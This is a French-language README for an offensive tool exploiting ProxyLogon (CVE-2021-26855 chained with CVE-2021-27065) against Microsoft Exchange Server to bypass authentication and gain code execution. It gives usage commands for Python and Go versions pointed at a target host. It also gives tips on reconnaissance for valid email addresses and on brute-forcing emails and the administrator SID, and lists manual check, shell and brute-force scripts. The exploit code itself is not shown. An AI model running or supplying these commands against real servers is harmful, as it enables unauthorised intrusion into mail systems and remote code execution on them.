ProxyLogon

ProxyLogon est le nom générique officiel de CVE-2021-26855, une vulnérabilité de Microsoft Exchange Server qui permet à un attaquant de contourner l'authentification et de se faire passer pour l'administrateur. Nous avons également enchaîné ce bug avec une autre vulnérabilité d'écriture arbitraire de fichier post-authentification, CVE-2021-27065, pour obtenir l'exécution de code.

ProxyLogon Pour Python3

usage:
    sudo python3 proxylogon.py --host=target.com [email protected]
    sudo python3 proxylogon.py --host=target.com --mails=./mails.txt

ProxyLogon Pour Go

usage:
    go run proxylogon.go -u target.com -e [email protected]

Conseils :

1. reconnaître la cible pour trouver une adresse e-mail valide
2. si vous ne trouvez aucun e-mail, utilisez la force brute sur la cible avec votre fichier d'e-mails.
3. sur certaines cibles, l'exploit automatisé ne fonctionne pas, vous devez forcer le SID par force brute et le remplacer dans SID=500

test d'intrusion manuel

sudo python2 /manual/check.py 
sudo python2 /manual/shell.py 
sudo python2 /manual/brute.py 

références

• proxylogon